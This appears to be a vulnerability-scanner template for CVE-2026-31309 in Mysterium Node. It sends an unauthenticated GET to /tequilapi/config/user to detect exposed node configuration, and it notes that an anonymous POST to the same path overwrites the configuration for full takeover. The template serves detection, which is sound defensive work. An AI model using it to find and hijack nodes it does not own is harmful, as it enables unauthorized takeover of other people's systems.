id: CVE-2026-31309

info:
  name: "Mysterium Node - Unauthenticated tequilapi Configuration Access"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Improper authorization in the /tequilapi/config/user endpoint of Mysterium Node from
    v1.21.1-rc0 before v1.36.0 allows an unauthenticated attacker to read and arbitrarily
    overwrite the node's configuration and achieve a full node takeover. The route
    "/config/user" was added to tequilapi's UnprotectedRoutes, so the reverse proxy does not
    authenticate it: an anonymous GET /tequilapi/config/user returns the node's user
    configuration payload ({"data":{...}}) and an anonymous POST to the same path overwrites it.
    This template performs the non-destructive unauthenticated GET and confirms the vulnerability
    by matching the returned JSON configuration payload; fixed versions remove the route from the
    unprotected list and require authentication (HTTP 401).
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-31309&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=mysterium&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-31309
    cwe-id: CWE-862
  metadata:
    verified: false
  tags: cve,cve2026,mysterium,auth-bypass,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/tequilapi/config/user"
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"data"'
      - type: word
        part: header
        words:
          - "application/json"
      - type: status
        status:
          - 200